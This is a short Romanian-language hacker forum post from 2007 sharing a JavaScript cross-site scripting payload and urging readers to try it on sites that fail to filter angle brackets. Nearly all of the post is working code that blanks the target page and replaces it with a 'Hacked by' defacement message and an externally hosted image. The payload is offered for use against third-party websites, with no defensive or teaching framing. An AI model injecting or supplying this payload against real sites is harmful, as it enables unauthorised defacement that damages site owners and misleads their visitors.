blanky
1337-Haxxor
Data inscrierii: 02/Oct/2007
Mesaje: 6
|
 Trimis: 02/10/2007 23:00 Titlul subiectului: XSS File |
|
|
Un Modest Fisier XSS , Puteti Sa-l Testati Pe Site-urile Care Nu Elimina Tag-urile "<>"
var title = "bl-4-nky Owned j00";
var bgcolor = "#000000";
var image_url = "http://0wn3d.dk/owned/owned-shark.jpg";
var text = "Hacked by bl-4-nky!";
var font_color = "#FF0000";
deface(title, bgcolor, image_url, text, font_color);
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal natural bold 36px Verdana';
txt.style.color = fontColor;
txt.innerHTML = pageText;
overLay.appendChild(txt);
if (image_url != "") {
var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg);
}
var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Arial';
footer.style.color = '#DDDDDD';
footer.innerHTML = title;
overLay.appendChild(footer);
} |
|
